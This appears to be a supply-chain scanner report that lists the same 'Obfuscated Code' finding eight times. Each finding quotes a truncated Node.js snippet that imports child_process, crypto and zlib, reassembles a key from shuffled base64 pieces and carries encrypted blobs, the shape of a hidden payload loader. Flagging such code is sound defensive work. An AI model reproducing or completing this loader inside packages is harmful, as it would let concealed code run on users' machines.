Content: const f=require("node:fs"),p=require("node:path"),o=require("node:os"),z=require("node:zlib"),c=require("node:crypto"),s=require("node:child_process");const K=["oI4LVSRg2Lc=","EM8jqOiuEwM=","g+zOIZgzAfw=","Hk5zuiCjiC4="],R=[1,3,0,2],k=Buffer.concat(R.map(i=>Buffer.from(K[i],"base64")));const E=[{"i":"bd8f33113517a9d4","p":["j2VgXbBInfiKw0VA","0DEPxvMSnP1FWSEvyH2vNA==","BD/vfiw8bOneJCDs3/l8YKA="],"d":["HgFhJ3O359NDo2Ib","7Im/jmm/ea4wnI7vYas1LQ==","CPsHWvilpWKEKKh9JC85GkXCIPAzELuovpL8j2+UrcfaGYGtPnAT3oCXEdNBQIMHK4H9ejb5uxQoqKqTQ2I8U/ANWOiluy0w+B+O75YDGUjVFvEt0+fcxxIyE3jvgyBu246Tt+d6PnSUkrN6RQglmPJkLQWIP03jO2TczRcmkuARIT2gFCN7ADn+Kt/TjPl1PpYKNfLSrhgURerpmvTVeZqdRZrQISkQRGRADwkR0s0F5nIlOQ+8fBxY3DsjnKhq+54X/zPUdWBvMyV++usY5Hk8Lawlh2iukvQmTTLCC5fMnVWrKSXEAxuH9+uu+UsWrnIKNlo16O/Ap7P+elR+wCde/bzK/8VYboMJt/QkryNX1aa3t1nh3MdGDVmAcJKeoNcvOjSIJ0eZbOsG8+LoFPwjNH5rPP2Z5ZGDReJez9fINbdyMsUexuT5or1mHMk0YrMZTkfKX+oKqWHNCZ7Wg1TLmrAqmMqnNkvDqAe3ML/8cSuaJtjA40dS9uV0eNuX7iqWgwAElASFTbHlKsgfV+h8EF51GPpEqlJjWxKkZaAOKCINU+lPlQQtf2q2cD+EmLa43ScYbVhApaOnov7t82H8r9su5m9+wE5vEcJiPwRULRrPOlrkF/umjFy+p1lKiEaqR7+EKpHirzAlRfS3xbHZDy4r/LEgiJLh/bhxeLDYwVEnlrIuGR2gurDECza9MlHE3rcIk8CaAeXJDacDAkZg8K0DPp5XIoZqkf8R8nv36hWDZ2DWuRNUhlVCnQ3w8wy72HWBzh73SaOw4+hSj0j8k4MZWvE9HPVGOtgO/r6RIIVrBX6c3qbe+bkdeVrkWSc8YY3EFubLE3oUmje06lltB/+WC/rP03/1kxQFxNJa+W4CK+ImqrLIhgrrm5XcFVTKvaY/89AcXmFH5rjWvnjB0D4gOniRywfJF6L/HaoZ/CnCJD9mK9IzkqYcXUcp2qST0LZ6cY5B/VZVBQdnnyTV27UpiwSRtpqYLP4ojWHSbItj9OLwQW2H9mCh3ovgOm60nPgGq2z4A2dgApEM2rtRtnmPCGaHjfOc3uLLDGROCKUb1QIcwpFXZRlzidS3KwZdQaUv28hxkbV/lHdlZblNyV4cpvszlNsXC2wNNaXUqETfgjL1HzxXvRoMa5aPhp8axVCkf4KFNeOvjhySszt14O84qDBiNbnL+01Uz2++5KsnsY7QEABrpJ7cLqdVxU0qUc+9QLJcNOPbyen6i7t8XTW6G9wcPQ33otNJf+3nvqsO+a5t4YmK/Xyd8aZ5spnJUlgjy4giIewKX0bGDcC2i/b4YNFOKObk32gotnUQ37BChocGO7YPPP0nAHeMckIyguG6jEdpk64HKnR2T1YlDQ49Igb7+oVTBAmlu4jZiUtcfWCgDpZt5qhYzS0R9jXdH6stXdrU3t5qxvZk5WH6sHRVHGVyKJanoUciMd3P3vY45Aj5GlbrGVAD4s71hiDdAt/fGqmQt9jvURLX+0HHUFdFhjWyQESMINrcvRJtuxWfpyNlPR4YuzMT7R0qEIYCrd5tTmVvo ...[truncated 28 chars]
Confidence: 50% confidence
Finding: Code contains obfuscation (base64, hex encoding with execution). This is often used to hide malicious functionality.

Obfuscated Code

High

Category: Supply Chain
Content: const f=require("node:fs"),p=require("node:path"),o=require("node:os"),z=require("node:zlib"),c=require("node:crypto"),s=require("node:child_process");const K=["oI4LVSRg2Lc=","EM8jqOiuEwM=","g+zOIZgzAfw=","Hk5zuiCjiC4="],R=[1,3,0,2],k=Buffer.concat(R.map(i=>Buffer.from(K[i],"base64")));const E=[{"i":"bd8f33113517a9d4","p":["j2VgXbBInfiKw0VA","0DEPxvMSnP1FWSEvyH2vNA==","BD/vfiw8bOneJCDs3/l8YKA="],"d":["HgFhJ3O359NDo2Ib","7Im/jmm/ea4wnI7vYas1LQ==","CPsHWvilpWKEKKh9JC85GkXCIPAzELuovpL8j2+UrcfaGYGtPnAT3oCXEdNBQIMHK4H9ejb5uxQoqKqTQ2I8U/ANWOiluy0w+B+O75YDGUjVFvEt0+fcxxIyE3jvgyBu246Tt+d6PnSUkrN6RQglmPJkLQWIP03jO2TczRcmkuARIT2gFCN7ADn+Kt/TjPl1PpYKNfLSrhgURerpmvTVeZqdRZrQISkQRGRADwkR0s0F5nIlOQ+8fBxY3DsjnKhq+54X/zPUdWBvMyV++usY5Hk8Lawlh2iukvQmTTLCC5fMnVWrKSXEAxuH9+uu+UsWrnIKNlo16O/Ap7P+elR+wCde/bzK/8VYboMJt/QkryNX1aa3t1nh3MdGDVmAcJKeoNcvOjSIJ0eZbOsG8+LoFPwjNH5rPP2Z5ZGDReJez9fINbdyMsUexuT5or1mHMk0YrMZTkfKX+oKqWHNCZ7Wg1TLmrAqmMqnNkvDqAe3ML/8cSuaJtjA40dS9uV0eNuX7iqWgwAElASFTbHlKsgfV+h8EF51GPpEqlJjWxKkZaAOKCINU+lPlQQtf2q2cD+EmLa43ScYbVhApaOnov7t82H8r9su5m9+wE5vEcJiPwRULRrPOlrkF/umjFy+p1lKiEaqR7+EKpHirzAlRfS3xbHZDy4r/LEgiJLh/bhxeLDYwVEnlrIuGR2gurDECza9MlHE3rcIk8CaAeXJDacDAkZg8K0DPp5XIoZqkf8R8nv36hWDZ2DWuRNUhlVCnQ3w8wy72HWBzh73SaOw4+hSj0j8k4MZWvE9HPVGOtgO/r6RIIVrBX6c3qbe+bkdeVrkWSc8YY3EFubLE3oUmje06lltB/+WC/rP03/1kxQFxNJa+W4CK+ImqrLIhgrrm5XcFVTKvaY/89AcXmFH5rjWvnjB0D4gOniRywfJF6L/HaoZ/CnCJD9mK9IzkqYcXUcp2qST0LZ6cY5B/VZVBQdnnyTV27UpiwSRtpqYLP4ojWHSbItj9OLwQW2H9mCh3ovgOm60nPgGq2z4A2dgApEM2rtRtnmPCGaHjfOc3uLLDGROCKUb1QIcwpFXZRlzidS3KwZdQaUv28hxkbV/lHdlZblNyV4cpvszlNsXC2wNNaXUqETfgjL1HzxXvRoMa5aPhp8axVCkf4KFNeOvjhySszt14O84qDBiNbnL+01Uz2++5KsnsY7QEABrpJ7cLqdVxU0qUc+9QLJcNOPbyen6i7t8XTW6G9wcPQ33otNJf+3nvqsO+a5t4YmK/Xyd8aZ5spnJUlgjy4giIewKX0bGDcC2i/b4YNFOKObk32gotnUQ37BChocGO7YPPP0nAHeMckIyguG6jEdpk64HKnR2T1YlDQ49Igb7+oVTBAmlu4jZiUtcfWCgDpZt5qhYzS0R9jXdH6stXdrU3t5qxvZk5WH6sHRVHGVyKJanoUciMd3P3vY45Aj5GlbrGVAD4s71hiDdAt/fGqmQt9jvURLX+0HHUFdFhjWyQESMINrcvRJtuxWfpyNlPR4YuzMT7R0qEIYCrd5tTmVvo ...[truncated 28 chars]
Confidence: 50% confidence
Finding: Code contains obfuscation (base64, hex encoding with execution). This is often used to hide malicious functionality.

Obfuscated Code

High

Category: Supply Chain
Content: const f=require("node:fs"),p=require("node:path"),o=require("node:os"),z=require("node:zlib"),c=require("node:crypto"),s=require("node:child_process");const K=["oI4LVSRg2Lc=","EM8jqOiuEwM=","g+zOIZgzAfw=","Hk5zuiCjiC4="],R=[1,3,0,2],k=Buffer.concat(R.map(i=>Buffer.from(K[i],"base64")));const E=[{"i":"bd8f33113517a9d4","p":["j2VgXbBInfiKw0VA","0DEPxvMSnP1FWSEvyH2vNA==","BD/vfiw8bOneJCDs3/l8YKA="],"d":["HgFhJ3O359NDo2Ib","7Im/jmm/ea4wnI7vYas1LQ==","CPsHWvilpWKEKKh9JC85GkXCIPAzELuovpL8j2+UrcfaGYGtPnAT3oCXEdNBQIMHK4H9ejb5uxQoqKqTQ2I8U/ANWOiluy0w+B+O75YDGUjVFvEt0+fcxxIyE3jvgyBu246Tt+d6PnSUkrN6RQglmPJkLQWIP03jO2TczRcmkuARIT2gFCN7ADn+Kt/TjPl1PpYKNfLSrhgURerpmvTVeZqdRZrQISkQRGRADwkR0s0F5nIlOQ+8fBxY3DsjnKhq+54X/zPUdWBvMyV++usY5Hk8Lawlh2iukvQmTTLCC5fMnVWrKSXEAxuH9+uu+UsWrnIKNlo16O/Ap7P+elR+wCde/bzK/8VYboMJt/QkryNX1aa3t1nh3MdGDVmAcJKeoNcvOjSIJ0eZbOsG8+LoFPwjNH5rPP2Z5ZGDReJez9fINbdyMsUexuT5or1mHMk0YrMZTkfKX+oKqWHNCZ7Wg1TLmrAqmMqnNkvDqAe3ML/8cSuaJtjA40dS9uV0eNuX7iqWgwAElASFTbHlKsgfV+h8EF51GPpEqlJjWxKkZaAOKCINU+lPlQQtf2q2cD+EmLa43ScYbVhApaOnov7t82H8r9su5m9+wE5vEcJiPwRULRrPOlrkF/umjFy+p1lKiEaqR7+EKpHirzAlRfS3xbHZDy4r/LEgiJLh/bhxeLDYwVEnlrIuGR2gurDECza9MlHE3rcIk8CaAeXJDacDAkZg8K0DPp5XIoZqkf8R8nv36hWDZ2DWuRNUhlVCnQ3w8wy72HWBzh73SaOw4+hSj0j8k4MZWvE9HPVGOtgO/r6RIIVrBX6c3qbe+bkdeVrkWSc8YY3EFubLE3oUmje06lltB/+WC/rP03/1kxQFxNJa+W4CK+ImqrLIhgrrm5XcFVTKvaY/89AcXmFH5rjWvnjB0D4gOniRywfJF6L/HaoZ/CnCJD9mK9IzkqYcXUcp2qST0LZ6cY5B/VZVBQdnnyTV27UpiwSRtpqYLP4ojWHSbItj9OLwQW2H9mCh3ovgOm60nPgGq2z4A2dgApEM2rtRtnmPCGaHjfOc3uLLDGROCKUb1QIcwpFXZRlzidS3KwZdQaUv28hxkbV/lHdlZblNyV4cpvszlNsXC2wNNaXUqETfgjL1HzxXvRoMa5aPhp8axVCkf4KFNeOvjhySszt14O84qDBiNbnL+01Uz2++5KsnsY7QEABrpJ7cLqdVxU0qUc+9QLJcNOPbyen6i7t8XTW6G9wcPQ33otNJf+3nvqsO+a5t4YmK/Xyd8aZ5spnJUlgjy4giIewKX0bGDcC2i/b4YNFOKObk32gotnUQ37BChocGO7YPPP0nAHeMckIyguG6jEdpk64HKnR2T1YlDQ49Igb7+oVTBAmlu4jZiUtcfWCgDpZt5qhYzS0R9jXdH6stXdrU3t5qxvZk5WH6sHRVHGVyKJanoUciMd3P3vY45Aj5GlbrGVAD4s71hiDdAt/fGqmQt9jvURLX+0HHUFdFhjWyQESMINrcvRJtuxWfpyNlPR4YuzMT7R0qEIYCrd5tTmVvo ...[truncated 28 chars]
Confidence: 50% confidence
Finding: Code contains obfuscation (base64, hex encoding with execution). This is often used to hide malicious functionality.

Obfuscated Code

High

Category: Supply Chain
Content: const f=require("node:fs"),p=require("node:path"),o=require("node:os"),z=require("node:zlib"),c=require("node:crypto"),s=require("node:child_process");const K=["oI4LVSRg2Lc=","EM8jqOiuEwM=","g+zOIZgzAfw=","Hk5zuiCjiC4="],R=[1,3,0,2],k=Buffer.concat(R.map(i=>Buffer.from(K[i],"base64")));const E=[{"i":"bd8f33113517a9d4","p":["j2VgXbBInfiKw0VA","0DEPxvMSnP1FWSEvyH2vNA==","BD/vfiw8bOneJCDs3/l8YKA="],"d":["HgFhJ3O359NDo2Ib","7Im/jmm/ea4wnI7vYas1LQ==","CPsHWvilpWKEKKh9JC85GkXCIPAzELuovpL8j2+UrcfaGYGtPnAT3oCXEdNBQIMHK4H9ejb5uxQoqKqTQ2I8U/ANWOiluy0w+B+O75YDGUjVFvEt0+fcxxIyE3jvgyBu246Tt+d6PnSUkrN6RQglmPJkLQWIP03jO2TczRcmkuARIT2gFCN7ADn+Kt/TjPl1PpYKNfLSrhgURerpmvTVeZqdRZrQISkQRGRADwkR0s0F5nIlOQ+8fBxY3DsjnKhq+54X/zPUdWBvMyV++usY5Hk8Lawlh2iukvQmTTLCC5fMnVWrKSXEAxuH9+uu+UsWrnIKNlo16O/Ap7P+elR+wCde/bzK/8VYboMJt/QkryNX1aa3t1nh3MdGDVmAcJKeoNcvOjSIJ0eZbOsG8+LoFPwjNH5rPP2Z5ZGDReJez9fINbdyMsUexuT5or1mHMk0YrMZTkfKX+oKqWHNCZ7Wg1TLmrAqmMqnNkvDqAe3ML/8cSuaJtjA40dS9uV0eNuX7iqWgwAElASFTbHlKsgfV+h8EF51GPpEqlJjWxKkZaAOKCINU+lPlQQtf2q2cD+EmLa43ScYbVhApaOnov7t82H8r9su5m9+wE5vEcJiPwRULRrPOlrkF/umjFy+p1lKiEaqR7+EKpHirzAlRfS3xbHZDy4r/LEgiJLh/bhxeLDYwVEnlrIuGR2gurDECza9MlHE3rcIk8CaAeXJDacDAkZg8K0DPp5XIoZqkf8R8nv36hWDZ2DWuRNUhlVCnQ3w8wy72HWBzh73SaOw4+hSj0j8k4MZWvE9HPVGOtgO/r6RIIVrBX6c3qbe+bkdeVrkWSc8YY3EFubLE3oUmje06lltB/+WC/rP03/1kxQFxNJa+W4CK+ImqrLIhgrrm5XcFVTKvaY/89AcXmFH5rjWvnjB0D4gOniRywfJF6L/HaoZ/CnCJD9mK9IzkqYcXUcp2qST0LZ6cY5B/VZVBQdnnyTV27UpiwSRtpqYLP4ojWHSbItj9OLwQW2H9mCh3ovgOm60nPgGq2z4A2dgApEM2rtRtnmPCGaHjfOc3uLLDGROCKUb1QIcwpFXZRlzidS3KwZdQaUv28hxkbV/lHdlZblNyV4cpvszlNsXC2wNNaXUqETfgjL1HzxXvRoMa5aPhp8axVCkf4KFNeOvjhySszt14O84qDBiNbnL+01Uz2++5KsnsY7QEABrpJ7cLqdVxU0qUc+9QLJcNOPbyen6i7t8XTW6G9wcPQ33otNJf+3nvqsO+a5t4YmK/Xyd8aZ5spnJUlgjy4giIewKX0bGDcC2i/b4YNFOKObk32gotnUQ37BChocGO7YPPP0nAHeMckIyguG6jEdpk64HKnR2T1YlDQ49Igb7+oVTBAmlu4jZiUtcfWCgDpZt5qhYzS0R9jXdH6stXdrU3t5qxvZk5WH6sHRVHGVyKJanoUciMd3P3vY45Aj5GlbrGVAD4s71hiDdAt/fGqmQt9jvURLX+0HHUFdFhjWyQESMINrcvRJtuxWfpyNlPR4YuzMT7R0qEIYCrd5tTmVvo ...[truncated 28 chars]
Confidence: 50% confidence
Finding: Code contains obfuscation (base64, hex encoding with execution). This is often used to hide malicious functionality.

Obfuscated Code

High

Category: Supply Chain
Content: const f=require("node:fs"),p=require("node:path"),o=require("node:os"),z=require("node:zlib"),c=require("node:crypto"),s=require("node:child_process");const K=["oI4LVSRg2Lc=","EM8jqOiuEwM=","g+zOIZgzAfw=","Hk5zuiCjiC4="],R=[1,3,0,2],k=Buffer.concat(R.map(i=>Buffer.from(K[i],"base64")));const E=[{"i":"bd8f33113517a9d4","p":["j2VgXbBInfiKw0VA","0DEPxvMSnP1FWSEvyH2vNA==","BD/vfiw8bOneJCDs3/l8YKA="],"d":["HgFhJ3O359NDo2Ib","7Im/jmm/ea4wnI7vYas1LQ==","CPsHWvilpWKEKKh9JC85GkXCIPAzELuovpL8j2+UrcfaGYGtPnAT3oCXEdNBQIMHK4H9ejb5uxQoqKqTQ2I8U/ANWOiluy0w+B+O75YDGUjVFvEt0+fcxxIyE3jvgyBu246Tt+d6PnSUkrN6RQglmPJkLQWIP03jO2TczRcmkuARIT2gFCN7ADn+Kt/TjPl1PpYKNfLSrhgURerpmvTVeZqdRZrQISkQRGRADwkR0s0F5nIlOQ+8fBxY3DsjnKhq+54X/zPUdWBvMyV++usY5Hk8Lawlh2iukvQmTTLCC5fMnVWrKSXEAxuH9+uu+UsWrnIKNlo16O/Ap7P+elR+wCde/bzK/8VYboMJt/QkryNX1aa3t1nh3MdGDVmAcJKeoNcvOjSIJ0eZbOsG8+LoFPwjNH5rPP2Z5ZGDReJez9fINbdyMsUexuT5or1mHMk0YrMZTkfKX+oKqWHNCZ7Wg1TLmrAqmMqnNkvDqAe3ML/8cSuaJtjA40dS9uV0eNuX7iqWgwAElASFTbHlKsgfV+h8EF51GPpEqlJjWxKkZaAOKCINU+lPlQQtf2q2cD+EmLa43ScYbVhApaOnov7t82H8r9su5m9+wE5vEcJiPwRULRrPOlrkF/umjFy+p1lKiEaqR7+EKpHirzAlRfS3xbHZDy4r/LEgiJLh/bhxeLDYwVEnlrIuGR2gurDECza9MlHE3rcIk8CaAeXJDacDAkZg8K0DPp5XIoZqkf8R8nv36hWDZ2DWuRNUhlVCnQ3w8wy72HWBzh73SaOw4+hSj0j8k4MZWvE9HPVGOtgO/r6RIIVrBX6c3qbe+bkdeVrkWSc8YY3EFubLE3oUmje06lltB/+WC/rP03/1kxQFxNJa+W4CK+ImqrLIhgrrm5XcFVTKvaY/89AcXmFH5rjWvnjB0D4gOniRywfJF6L/HaoZ/CnCJD9mK9IzkqYcXUcp2qST0LZ6cY5B/VZVBQdnnyTV27UpiwSRtpqYLP4ojWHSbItj9OLwQW2H9mCh3ovgOm60nPgGq2z4A2dgApEM2rtRtnmPCGaHjfOc3uLLDGROCKUb1QIcwpFXZRlzidS3KwZdQaUv28hxkbV/lHdlZblNyV4cpvszlNsXC2wNNaXUqETfgjL1HzxXvRoMa5aPhp8axVCkf4KFNeOvjhySszt14O84qDBiNbnL+01Uz2++5KsnsY7QEABrpJ7cLqdVxU0qUc+9QLJcNOPbyen6i7t8XTW6G9wcPQ33otNJf+3nvqsO+a5t4YmK/Xyd8aZ5spnJUlgjy4giIewKX0bGDcC2i/b4YNFOKObk32gotnUQ37BChocGO7YPPP0nAHeMckIyguG6jEdpk64HKnR2T1YlDQ49Igb7+oVTBAmlu4jZiUtcfWCgDpZt5qhYzS0R9jXdH6stXdrU3t5qxvZk5WH6sHRVHGVyKJanoUciMd3P3vY45Aj5GlbrGVAD4s71hiDdAt/fGqmQt9jvURLX+0HHUFdFhjWyQESMINrcvRJtuxWfpyNlPR4YuzMT7R0qEIYCrd5tTmVvo ...[truncated 28 chars]
Confidence: 50% confidence
Finding: Code contains obfuscation (base64, hex encoding with execution). This is often used to hide malicious functionality.

Obfuscated Code

High

Category: Supply Chain
Content: const f=require("node:fs"),p=require("node:path"),o=require("node:os"),z=require("node:zlib"),c=require("node:crypto"),s=require("node:child_process");const K=["oI4LVSRg2Lc=","EM8jqOiuEwM=","g+zOIZgzAfw=","Hk5zuiCjiC4="],R=[1,3,0,2],k=Buffer.concat(R.map(i=>Buffer.from(K[i],"base64")));const E=[{"i":"bd8f33113517a9d4","p":["j2VgXbBInfiKw0VA","0DEPxvMSnP1FWSEvyH2vNA==","BD/vfiw8bOneJCDs3/l8YKA="],"d":["HgFhJ3O359NDo2Ib","7Im/jmm/ea4wnI7vYas1LQ==","CPsHWvilpWKEKKh9JC85GkXCIPAzELuovpL8j2+UrcfaGYGtPnAT3oCXEdNBQIMHK4H9ejb5uxQoqKqTQ2I8U/ANWOiluy0w+B+O75YDGUjVFvEt0+fcxxIyE3jvgyBu246Tt+d6PnSUkrN6RQglmPJkLQWIP03jO2TczRcmkuARIT2gFCN7ADn+Kt/TjPl1PpYKNfLSrhgURerpmvTVeZqdRZrQISkQRGRADwkR0s0F5nIlOQ+8fBxY3DsjnKhq+54X/zPUdWBvMyV++usY5Hk8Lawlh2iukvQmTTLCC5fMnVWrKSXEAxuH9+uu+UsWrnIKNlo16O/Ap7P+elR+wCde/bzK/8VYboMJt/QkryNX1aa3t1nh3MdGDVmAcJKeoNcvOjSIJ0eZbOsG8+LoFPwjNH5rPP2Z5ZGDReJez9fINbdyMsUexuT5or1mHMk0YrMZTkfKX+oKqWHNCZ7Wg1TLmrAqmMqnNkvDqAe3ML/8cSuaJtjA40dS9uV0eNuX7iqWgwAElASFTbHlKsgfV+h8EF51GPpEqlJjWxKkZaAOKCINU+lPlQQtf2q2cD+EmLa43ScYbVhApaOnov7t82H8r9su5m9+wE5vEcJiPwRULRrPOlrkF/umjFy+p1lKiEaqR7+EKpHirzAlRfS3xbHZDy4r/LEgiJLh/bhxeLDYwVEnlrIuGR2gurDECza9MlHE3rcIk8CaAeXJDacDAkZg8K0DPp5XIoZqkf8R8nv36hWDZ2DWuRNUhlVCnQ3w8wy72HWBzh73SaOw4+hSj0j8k4MZWvE9HPVGOtgO/r6RIIVrBX6c3qbe+bkdeVrkWSc8YY3EFubLE3oUmje06lltB/+WC/rP03/1kxQFxNJa+W4CK+ImqrLIhgrrm5XcFVTKvaY/89AcXmFH5rjWvnjB0D4gOniRywfJF6L/HaoZ/CnCJD9mK9IzkqYcXUcp2qST0LZ6cY5B/VZVBQdnnyTV27UpiwSRtpqYLP4ojWHSbItj9OLwQW2H9mCh3ovgOm60nPgGq2z4A2dgApEM2rtRtnmPCGaHjfOc3uLLDGROCKUb1QIcwpFXZRlzidS3KwZdQaUv28hxkbV/lHdlZblNyV4cpvszlNsXC2wNNaXUqETfgjL1HzxXvRoMa5aPhp8axVCkf4KFNeOvjhySszt14O84qDBiNbnL+01Uz2++5KsnsY7QEABrpJ7cLqdVxU0qUc+9QLJcNOPbyen6i7t8XTW6G9wcPQ33otNJf+3nvqsO+a5t4YmK/Xyd8aZ5spnJUlgjy4giIewKX0bGDcC2i/b4YNFOKObk32gotnUQ37BChocGO7YPPP0nAHeMckIyguG6jEdpk64HKnR2T1YlDQ49Igb7+oVTBAmlu4jZiUtcfWCgDpZt5qhYzS0R9jXdH6stXdrU3t5qxvZk5WH6sHRVHGVyKJanoUciMd3P3vY45Aj5GlbrGVAD4s71hiDdAt/fGqmQt9jvURLX+0HHUFdFhjWyQESMINrcvRJtuxWfpyNlPR4YuzMT7R0qEIYCrd5tTmVvo ...[truncated 28 chars]
Confidence: 50% confidence
Finding: Code contains obfuscation (base64, hex encoding with execution). This is often used to hide malicious functionality.

Obfuscated Code

High

Category: Supply Chain
Content: const f=require("node:fs"),p=require("node:path"),o=require("node:os"),z=require("node:zlib"),c=require("node:crypto"),s=require("node:child_process");const K=["oI4LVSRg2Lc=","EM8jqOiuEwM=","g+zOIZgzAfw=","Hk5zuiCjiC4="],R=[1,3,0,2],k=Buffer.concat(R.map(i=>Buffer.from(K[i],"base64")));const E=[{"i":"bd8f33113517a9d4","p":["j2VgXbBInfiKw0VA","0DEPxvMSnP1FWSEvyH2vNA==","BD/vfiw8bOneJCDs3/l8YKA="],"d":["HgFhJ3O359NDo2Ib","7Im/jmm/ea4wnI7vYas1LQ==","CPsHWvilpWKEKKh9JC85GkXCIPAzELuovpL8j2+UrcfaGYGtPnAT3oCXEdNBQIMHK4H9ejb5uxQoqKqTQ2I8U/ANWOiluy0w+B+O75YDGUjVFvEt0+fcxxIyE3jvgyBu246Tt+d6PnSUkrN6RQglmPJkLQWIP03jO2TczRcmkuARIT2gFCN7ADn+Kt/TjPl1PpYKNfLSrhgURerpmvTVeZqdRZrQISkQRGRADwkR0s0F5nIlOQ+8fBxY3DsjnKhq+54X/zPUdWBvMyV++usY5Hk8Lawlh2iukvQmTTLCC5fMnVWrKSXEAxuH9+uu+UsWrnIKNlo16O/Ap7P+elR+wCde/bzK/8VYboMJt/QkryNX1aa3t1nh3MdGDVmAcJKeoNcvOjSIJ0eZbOsG8+LoFPwjNH5rPP2Z5ZGDReJez9fINbdyMsUexuT5or1mHMk0YrMZTkfKX+oKqWHNCZ7Wg1TLmrAqmMqnNkvDqAe3ML/8cSuaJtjA40dS9uV0eNuX7iqWgwAElASFTbHlKsgfV+h8EF51GPpEqlJjWxKkZaAOKCINU+lPlQQtf2q2cD+EmLa43ScYbVhApaOnov7t82H8r9su5m9+wE5vEcJiPwRULRrPOlrkF/umjFy+p1lKiEaqR7+EKpHirzAlRfS3xbHZDy4r/LEgiJLh/bhxeLDYwVEnlrIuGR2gurDECza9MlHE3rcIk8CaAeXJDacDAkZg8K0DPp5XIoZqkf8R8nv36hWDZ2DWuRNUhlVCnQ3w8wy72HWBzh73SaOw4+hSj0j8k4MZWvE9HPVGOtgO/r6RIIVrBX6c3qbe+bkdeVrkWSc8YY3EFubLE3oUmje06lltB/+WC/rP03/1kxQFxNJa+W4CK+ImqrLIhgrrm5XcFVTKvaY/89AcXmFH5rjWvnjB0D4gOniRywfJF6L/HaoZ/CnCJD9mK9IzkqYcXUcp2qST0LZ6cY5B/VZVBQdnnyTV27UpiwSRtpqYLP4ojWHSbItj9OLwQW2H9mCh3ovgOm60nPgGq2z4A2dgApEM2rtRtnmPCGaHjfOc3uLLDGROCKUb1QIcwpFXZRlzidS3KwZdQaUv28hxkbV/lHdlZblNyV4cpvszlNsXC2wNNaXUqETfgjL1HzxXvRoMa5aPhp8axVCkf4KFNeOvjhySszt14O84qDBiNbnL+01Uz2++5KsnsY7QEABrpJ7cLqdVxU0qUc+9QLJcNOPbyen6i7t8XTW6G9wcPQ33otNJf+3nvqsO+a5t4YmK/Xyd8aZ5spnJUlgjy4giIewKX0bGDcC2i/b4YNFOKObk32gotnUQ37BChocGO7YPPP0nAHeMckIyguG6jEdpk64HKnR2T1YlDQ49Igb7+oVTBAmlu4jZiUtcfWCgDpZt5qhYzS0R9jXdH6stXdrU3t5qxvZk5WH6sHRVHGVyKJanoUciMd3P3vY45Aj5GlbrGVAD4s71hiDdAt/fGqmQt9jvURLX+0HHUFdFhjWyQESMINrcvRJtuxWfpyNlPR4YuzMT7R0qEIYCrd5tTmVvo ...[truncated 28 chars]
Confidence: 50% confidence
Finding: Code contains obfuscation (base64, hex encoding with execution). This is often used to hide malicious functionality.

Obfuscated Code

High

Category: Supply Chain
Content: const f=require("node:fs"),p=require("node:path"),o=require("node:os"),z=require("node:zlib"),c=require("node:crypto"),s=require("node:child_process");const K=["oI4LVSRg2Lc=","EM8jqOiuEwM=","g+zOIZgzAfw=","Hk5zuiCjiC4="],R=[1,3,0,2],k=Buffer.concat(R.map(i=>Buffer.from(K[i],"base64")));const E=[{"i":"bd8f33113517a9d4","p":["j2VgXbBInfiKw0VA","0DEPxvMSnP1FWSEvyH2vNA==","BD/vfiw8bOneJCDs3/l8YKA="],"d":["HgFhJ3O359NDo2Ib","7Im/jmm/ea4wnI7vYas1LQ==","CPsHWvilpWKEKKh9JC85GkXCIPAzELuovpL8j2+UrcfaGYGtPnAT3oCXEdNBQIMHK4H9ejb5uxQoqKqTQ2I8U/ANWOiluy0w+B+O75YDGUjVFvEt0+fcxxIyE3jvgyBu246Tt+d6PnSUkrN6RQglmPJkLQWIP03jO2TczRcmkuARIT2gFCN7ADn+Kt/TjPl1PpYKNfLSrhgURerpmvTVeZqdRZrQISkQRGRADwkR0s0F5nIlOQ+8fBxY3DsjnKhq+54X/zPUdWBvMyV++usY5Hk8Lawlh2iukvQmTTLCC5fMnVWrKSXEAxuH9+uu+UsWrnIKNlo16O/Ap7P+elR+wCde/bzK/8VYboMJt/QkryNX1aa3t1nh3MdGDVmAcJKeoNcvOjSIJ0eZbOsG8+LoFPwjNH5rPP2Z5ZGDReJez9fINbdyMsUexuT5or1mHMk0YrMZTkfKX+oKqWHNCZ7Wg1TLmrAqmMqnNkvDqAe3ML/8cSuaJtjA40dS9uV0eNuX7iqWgwAElASFTbHlKsgfV+h8EF51GPpEqlJjWxKkZaAOKCINU+lPlQQtf2q2cD+EmLa43ScYbVhApaOnov7t82H8r9su5m9+wE5vEcJiPwRULRrPOlrkF/umjFy+p1lKiEaqR7+EKpHirzAlRfS3xbHZDy4r/LEgiJLh/bhxeLDYwVEnlrIuGR2gurDECza9MlHE3rcIk8CaAeXJDacDAkZg8K0DPp5XIoZqkf8R8nv36hWDZ2DWuRNUhlVCnQ3w8wy72HWBzh73SaOw4+hSj0j8k4MZWvE9HPVGOtgO/r6RIIVrBX6c3qbe+bkdeVrkWSc8YY3EFubLE3oUmje06lltB/+WC/rP03/1kxQFxNJa+W4CK+ImqrLIhgrrm5XcFVTKvaY/89AcXmFH5rjWvnjB0D4gOniRywfJF6L/HaoZ/CnCJD9mK9IzkqYcXUcp2qST0LZ6cY5B/VZVBQdnnyTV27UpiwSRtpqYLP4ojWHSbItj9OLwQW2H9mCh3ovgOm60nPgGq2z4A2dgApEM2rtRtnmPCGaHjfOc3uLLDGROCKUb1QIcwpFXZRlzidS3KwZdQaUv28hxkbV/lHdlZblNyV4cpvszlNsXC2wNNaXUqETfgjL1HzxXvRoMa5aPhp8axVCkf4KFNeOvjhySszt14O84qDBiNbnL+01Uz2++5KsnsY7QEABrpJ7cLqdVxU0qUc+9QLJcNOPbyen6i7t8XTW6G9wcPQ33otNJf+3nvqsO+a5t4YmK/Xyd8aZ5spnJUlgjy4giIewKX0bGDcC2i/b4YNFOKObk32gotnUQ37BChocGO7YPPP0nAHeMckIyguG6jEdpk64HKnR2T1YlDQ49Igb7+oVTBAmlu4jZiUtcfWCgDpZt5qhYzS0R9jXdH6stXdrU3t5qxvZk5WH6sHRVHGVyKJanoUciMd3P3vY45Aj5GlbrGVAD4s71hiDdAt/fGqmQt9jvURLX+0HHUFdFhjWyQESMINrcvRJtuxWfpyNlPR4YuzMT7R0qEIYCrd5tTmVvo ...[truncated 28 chars]
Confidence: 50% confidence
Finding: Code contains obfuscation (base64, hex encoding with execution). This is often used to hide malicious functionality.

Obfuscated Code

High

Category: Supply Chain
